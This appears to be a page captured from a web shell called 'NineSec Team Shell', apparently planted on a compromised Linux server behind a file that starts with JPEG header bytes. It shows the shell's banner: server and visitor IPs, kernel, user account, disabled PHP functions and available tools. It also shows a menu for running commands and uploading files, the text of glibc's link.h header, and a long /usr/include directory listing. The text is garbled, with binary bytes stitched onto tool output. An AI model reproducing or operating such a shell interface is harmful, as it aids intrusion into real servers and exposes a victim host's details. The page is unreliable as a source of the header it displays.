�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/include/linux/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/include/linux/../link.h
/* Data structure for communication from the run-time dynamic linker for
   loaded ELF shared objects.
   Copyright (C) 1995-2020 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <https://www.gnu.org/licenses/>.  */

#ifndef	_LINK_H
#define	_LINK_H	1

#include <features.h>
#include <elf.h>
#include <dlfcn.h>
#include <sys/types.h>

/* We use this macro to refer to ELF types independent of the native wordsize.
   `ElfW(TYPE)' is used in place of `Elf32_TYPE' or `Elf64_TYPE'.  */
#define ElfW(type)	_ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t)	_ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t)	e##w##t

#include <bits/elfclass.h>		/* Defines __ELF_NATIVE_CLASS.  */
#include <bits/link.h>

/* Rendezvous structure used by the run-time dynamic linker to communicate
   details of shared object loading to the debugger.  If the executable's
   dynamic section has a DT_DEBUG element, the run-time linker sets that
   element's value to the address where this structure can be found.  */

struct r_debug
  {
    int r_version;		/* Version number for this protocol.  */

    struct link_map *r_map;	/* Head of the chain of loaded objects.  */

    /* This is the address of a function internal to the run-time linker,
       that will always be called when the linker begins to map in a
       library or unmap it, and again when the mapping change is complete.
       The debugger can set a breakpoint at this address if it wants to
       notice shared object mapping changes.  */
    ElfW(Addr) r_brk;
    enum
      {
	/* This state value describes the mapping change taking place when
	   the `r_brk' address is called.  */
	RT_CONSISTENT,		/* Mapping change is complete.  */
	RT_ADD,			/* Beginning to add a new object.  */
	RT_DELETE		/* Beginning to remove an object mapping.  */
      } r_state;

    ElfW(Addr) r_ldbase;	/* Base address the linker is loaded at.  */
  };

/* This is the instance of that structure used by the dynamic linker.  */
extern struct r_debug _r_debug;

/* This symbol refers to the "dynamic structure" in the `.dynamic' section
   of whatever module refers to `_DYNAMIC'.  So, to find its own
   `struct r_debug', a program could do:
     for (dyn = _DYNAMIC; dyn->d_tag != DT_NULL; ++dyn)
       if (dyn->d_tag == DT_DEBUG)
	 r_debug = (struct r_debug *) dyn->d_un.d_ptr;
   */
extern ElfW(Dyn) _DYNAMIC[];

/* Structure describing a loaded shared object.  The `l_next' and `l_prev'
   members form a chain of all the shared objects loaded at startup.

   These data structures exist in space used by the run-time dynamic linker;
   modifying them may have disastrous results.  */

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;		/* Difference between the address in the ELF
				   file and the addresses in memory.  */
    char *l_name;		/* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;		/* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
  };

#ifdef __USE_GNU

/* Version numbers for la_version handshake interface.  */
#define LAV_CURRENT	1

/* Activity types signaled through la_activity.  */
enum
  {
    LA_ACT_CONSISTENT,		/* Link map consistent again.  */
    LA_ACT_ADD,			/* New object will be added.  */
    LA_ACT_DELETE		/* Objects will be removed.  */
  };

/* Values representing origin of name for dynamic loading.  */
enum
  {
    LA_SER_ORIG = 0x01,		/* Original name.  */
    LA_SER_LIBPATH = 0x02,	/* Directory from LD_LIBRARY_PATH.  */
    LA_SER_RUNPATH = 0x04,	/* Directory from RPATH/RUNPATH.  */
    LA_SER_CONFIG = 0x08,	/* Found through ldconfig.  */
    LA_SER_DEFAULT = 0x40,	/* Default directory.  */
    LA_SER_SECURE = 0x80	/* Unused.  */
  };

/* Values for la_objopen return value.  */
enum
  {
    LA_FLG_BINDTO = 0x01,	/* Audit symbols bound to this object.  */
    LA_FLG_BINDFROM = 0x02	/* Audit symbols bound from this object.  */
  };

/* Values for la_symbind flags parameter.  */
enum
  {
    LA_SYMB_NOPLTENTER = 0x01,	/* la_pltenter will not be called.  */
    LA_SYMB_NOPLTEXIT = 0x02,	/* la_pltexit will not be called.  */
    LA_SYMB_STRUCTCALL = 0x04,	/* Return value is a structure.  */
    LA_SYMB_DLSYM = 0x08,	/* Binding due to dlsym call.  */
    LA_SYMB_ALTVALUE = 0x10	/* Value has been changed by a previous
				   la_symbind call.  */
  };

struct dl_phdr_info
  {
    ElfW(Addr) dlpi_addr;
    const char *dlpi_name;
    const ElfW(Phdr) *dlpi_phdr;
    ElfW(Half) dlpi_phnum;

    /* Note: Following members were introduced after the first
       version of this structure was available.  Check the SIZE
       argument passed to the dl_iterate_phdr callback to determine
       whether or not each later member is available.  */

    /* Incremented when a new object may have been added.  */
    __extension__ unsigned long long int dlpi_adds;
    /* Incremented when an object may have been removed.  */
    __extension__ unsigned long long int dlpi_subs;

    /* If there is a PT_TLS segment, its module ID as used in
       TLS relocations, else zero.  */
    size_t dlpi_tls_modid;

    /* The address of the calling thread's instance of this module's
       PT_TLS segment, if it has one and it has been allocated
       in the calling thread, otherwise a null pointer.  */
    void *dlpi_tls_data;
  };

__BEGIN_DECLS

extern int dl_iterate_phdr (int (*__callback) (struct dl_phdr_info *,
					       size_t, void *),
			    void *__data);


/* Prototypes for the ld.so auditing interfaces.  These are not
   defined anywhere in ld.so but instead have to be provided by the
   auditing DSO.  */
extern unsigned int la_version (unsigned int __version);
extern void la_activity (uintptr_t *__cookie, unsigned int __flag);
extern char *la_objsearch (const char *__name, uintptr_t *__cookie,
			   unsigned int __flag);
extern unsigned int la_objopen (struct link_map *__map, Lmid_t __lmid,
				uintptr_t *__cookie);
extern void la_preinit (uintptr_t *__cookie);
extern uintptr_t la_symbind32 (Elf32_Sym *__sym, unsigned int __ndx,
			       uintptr_t *__refcook, uintptr_t *__defcook,
			       unsigned int *__flags, const char *__symname);
extern uintptr_t la_symbind64 (Elf64_Sym *__sym, unsigned int __ndx,
			       uintptr_t *__refcook, uintptr_t *__defcook,
			       unsigned int *__flags, const char *__symname);
extern unsigned int la_objclose (uintptr_t *__cookie);

__END_DECLS

#endif

#endif /* link.h */

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 11:10:06
root
0755
X11
--
April 25 2020 3:53:29
root
0755
arpa
--
December 13 2023 9:42:27
root
0755
asm-generic
--
February 12 2024 9:08:13
root
0755
c++
--
April 08 2022 2:42:58
root
0755
drm
--
February 12 2024 9:08:13
root
0755
finclude
--
December 13 2023 9:42:27
root
0755
iproute2
--
April 25 2020 3:53:03
root
0755
linux
--
February 12 2024 9:08:13
root
0755
misc
--
February 12 2024 9:08:13
root
0755
mtd
--
February 12 2024 9:08:13
root
0755
net
--
December 13 2023 9:42:27
root
0755
netash
--
December 13 2023 9:42:27
root
0755
netatalk
--
December 13 2023 9:42:27
root
0755
netax25
--
December 13 2023 9:42:27
root
0755
neteconet
--
December 13 2023 9:42:27
root
0755
netinet
--
December 13 2023 9:42:27
root
0755
netipx
--
December 13 2023 9:42:27
root
0755
netiucv
--
December 13 2023 9:42:27
root
0755
netpacket
--
December 13 2023 9:42:27
root
0755
netrom
--
December 13 2023 9:42:27
root
0755
netrose
--
December 13 2023 9:42:27
root
0755
nfs
--
December 13 2023 9:42:27
root
0755
node
--
October 23 2023 6:29:41
root
0755
openssl
--
February 12 2024 9:07:13
root
0755
php
--
October 23 2023 10:09:35
root
0755
protocols
--
December 13 2023 9:42:27
root
0755
rdma
--
February 12 2024 9:08:13
root
0755
rpc
--
December 13 2023 9:42:27
root
0755
rpcsvc
--
December 13 2023 9:42:27
root
0755
scsi
--
February 12 2024 9:08:13
root
0755
sound
--
February 12 2024 9:08:13
root
0755
uv
--
April 12 2022 9:21:16
root
0755
video
--
February 12 2024 9:08:13
root
0755
x86_64-linux-gnu
--
December 13 2023 9:42:27
root
0755
xen
--
February 12 2024 9:08:13
root
0755
aio.h
7.282 KB
November 22 2023 2:32:50
root
0644
aliases.h
1.984 KB
November 22 2023 2:32:50
root
0644
alloca.h
1.176 KB
November 22 2023 2:32:50
root
0644
ar.h
1.69 KB
November 22 2023 2:32:50
root
0644
argp.h
24.876 KB
November 22 2023 2:32:50
root
0644
argz.h
5.909 KB
November 22 2023 2:32:50
root
0644
assert.h
4.534 KB
November 22 2023 2:32:50
root
0644
byteswap.h
1.372 KB
November 22 2023 2:32:50
root
0644
complex.h
6.996 KB
November 22 2023 2:32:50
root
0644
cpio.h
2.215 KB
November 22 2023 2:32:50
root
0644
crypt.h
10.898 KB
March 10 2020 5:24:31
root
0644
ctype.h
10.712 KB
November 22 2023 2:32:50
root
0644
dirent.h
12.222 KB
November 22 2023 2:32:50
root
0644
dlfcn.h
7.304 KB
November 22 2023 2:32:50
root
0644
elf.h
173.189 KB
November 22 2023 2:32:50
root
0644
endian.h
2.245 KB
November 22 2023 2:32:50
root
0644
envz.h
2.8 KB
November 22 2023 2:32:50
root
0644
err.h
2.214 KB
November 22 2023 2:32:50
root
0644
errno.h
1.64 KB
November 22 2023 2:32:50
root
0644
error.h
2.229 KB
November 22 2023 2:32:50
root
0644
execinfo.h
1.487 KB
November 22 2023 2:32:50
root
0644
fastcgi.h
2.899 KB
March 22 2020 4:45:46
root
0644
fcgi_config.h
3.877 KB
March 22 2020 4:45:46
root
0644
fcgi_stdio.h
5.647 KB
March 22 2020 4:45:46
root
0644
fcgiapp.h
18.146 KB
March 22 2020 4:45:46
root
0644
fcgimisc.h
0.623 KB
March 22 2020 4:45:46
root
0644
fcgio.h
3.633 KB
March 22 2020 4:45:46
root
0644
fcgios.h
3.421 KB
March 22 2020 4:45:46
root
0644
fcntl.h
9.482 KB
November 22 2023 2:32:50
root
0644
features.h
16.679 KB
November 22 2023 2:32:50
root
0644
fenv.h
5.736 KB
November 22 2023 2:32:50
root
0644
fmtmsg.h
3.164 KB
November 22 2023 2:32:50
root
0644
fnmatch.h
2.242 KB
November 22 2023 2:32:50
root
0644
fstab.h
3.038 KB
November 22 2023 2:32:50
root
0644
fts.h
8.177 KB
November 22 2023 2:32:50
root
0644
ftw.h
5.129 KB
November 22 2023 2:32:50
root
0644
gconv.h
4.112 KB
November 22 2023 2:32:50
root
0644
getopt.h
1.435 KB
November 22 2023 2:32:50
root
0644
glob.h
6.462 KB
November 22 2023 2:32:50
root
0644
gnu-versions.h
2.288 KB
November 22 2023 2:32:50
root
0644
gnumake.h
2.844 KB
July 28 2018 12:07:31
root
0644
grp.h
6.53 KB
November 22 2023 2:32:50
root
0644
gshadow.h
4.423 KB
November 22 2023 2:32:50
root
0644
iconv.h
1.814 KB
November 22 2023 2:32:50
root
0644
ifaddrs.h
2.774 KB
November 22 2023 2:32:50
root
0644
inttypes.h
11.614 KB
November 22 2023 2:32:50
root
0644
langinfo.h
17.431 KB
November 22 2023 2:32:50
root
0644
lastlog.h
0.123 KB
November 22 2023 2:32:50
root
0644
libgen.h
1.354 KB
November 22 2023 2:32:50
root
0644
libintl.h
4.473 KB
November 22 2023 2:32:50
root
0644
limits.h
5.29 KB
November 22 2023 2:32:50
root
0644
link.h
7.038 KB
November 22 2023 2:32:50
root
0644
locale.h
7.495 KB
November 22 2023 2:32:50
root
0644
malloc.h
6.041 KB
November 22 2023 2:32:50
root
0644
math.h
45.316 KB
November 22 2023 2:32:50
root
0644
mcheck.h
2.378 KB
November 22 2023 2:32:50
root
0644
memory.h
0.934 KB
November 22 2023 2:32:50
root
0644
mntent.h
3.28 KB
November 22 2023 2:32:50
root
0644
monetary.h
1.762 KB
November 22 2023 2:32:50
root
0644
mqueue.h
3.672 KB
November 22 2023 2:32:50
root
0644
netdb.h
27.441 KB
November 22 2023 2:32:50
root
0644
nl_types.h
1.712 KB
November 22 2023 2:32:50
root
0644
nss.h
1.835 KB
November 22 2023 2:32:50
root
0644
obstack.h
20.808 KB
November 22 2023 2:32:50
root
0644
paths.h
2.913 KB
November 22 2023 2:32:50
root
0644
poll.h
0.021 KB
November 22 2023 2:32:50
root
0644
printf.h
6.642 KB
November 22 2023 2:32:50
root
0644
proc_service.h
3.396 KB
November 22 2023 2:32:50
root
0644
pthread.h
40.724 KB
November 22 2023 2:32:50
root
0644
pty.h
1.533 KB
November 22 2023 2:32:50
root
0644
pwd.h
6.015 KB
November 22 2023 2:32:50
root
0644
re_comp.h
0.94 KB
November 22 2023 2:32:50
root
0644
regex.h
24.136 KB
November 22 2023 2:32:50
root
0644
regexp.h
1.414 KB
November 22 2023 2:32:50
root
0644
resolv.h
11.595 KB
November 22 2023 2:32:50
root
0644
sched.h
4.622 KB
November 22 2023 2:32:50
root
0644
search.h
5.322 KB
November 22 2023 2:32:50
root
0644
semaphore.h
2.671 KB
November 22 2023 2:32:50
root
0644
setjmp.h
3.584 KB
November 22 2023 2:32:50
root
0644
sgtty.h
1.313 KB
November 22 2023 2:32:50
root
0644
shadow.h
5.344 KB
November 22 2023 2:32:50
root
0644
signal.h
12.021 KB
November 22 2023 2:32:50
root
0644
spawn.h
7.576 KB
November 22 2023 2:32:50
root
0644
stab.h
0.258 KB
November 22 2023 2:32:50
root
0644
stdc-predef.h
2.236 KB
November 22 2023 2:32:50
root
0644
stdint.h
8.275 KB
November 22 2023 2:32:50
root
0644
stdio.h
29.248 KB
November 22 2023 2:32:50
root
0644
stdio_ext.h
2.734 KB
November 22 2023 2:32:50
root
0644
stdlib.h
34.995 KB
November 22 2023 2:32:50
root
0644
string.h
17.246 KB
November 22 2023 2:32:50
root
0644
strings.h
4.642 KB
November 22 2023 2:32:50
root
0644
sudo_plugin.h
8.028 KB
April 04 2023 1:56:28
root
0644
syscall.h
0.024 KB
November 22 2023 2:32:50
root
0644
sysexits.h
5.109 KB
November 22 2023 2:32:50
root
0644
syslog.h
0.023 KB
November 22 2023 2:32:50
root
0644
tar.h
3.697 KB
November 22 2023 2:32:50
root
0644
termio.h
0.209 KB
November 22 2023 2:32:50
root
0644
termios.h
3.515 KB
November 22 2023 2:32:50
root
0644
tgmath.h
36.542 KB
November 22 2023 2:32:50
root
0644
thread_db.h
15.648 KB
November 22 2023 2:32:50
root
0644
threads.h
6.505 KB
November 22 2023 2:32:50
root
0644
time.h
10.035 KB
November 22 2023 2:32:50
root
0644
ttyent.h
2.436 KB
November 22 2023 2:32:50
root
0644
uchar.h
1.955 KB
November 22 2023 2:32:50
root
0644
ucontext.h
1.989 KB
November 22 2023 2:32:50
root
0644
ulimit.h
1.547 KB
November 22 2023 2:32:50
root
0644
unistd.h
41.801 KB
November 22 2023 2:32:50
root
0644
utime.h
1.467 KB
November 22 2023 2:32:50
root
0644
utmp.h
3.147 KB
November 22 2023 2:32:50
root
0644
utmpx.h
4.004 KB
November 22 2023 2:32:50
root
0644
uv.h
62.506 KB
July 05 2021 7:32:59
root
0644
values.h
1.91 KB
November 22 2023 2:32:50
root
0644
wait.h
0.021 KB
November 22 2023 2:32:50
root
0644
wchar.h
30.382 KB
November 22 2023 2:32:50
root
0644
wctype.h
5.419 KB
November 22 2023 2:32:50
root
0644
wordexp.h
2.443 KB
November 22 2023 2:32:50
root
0644

NineSec Team - 2022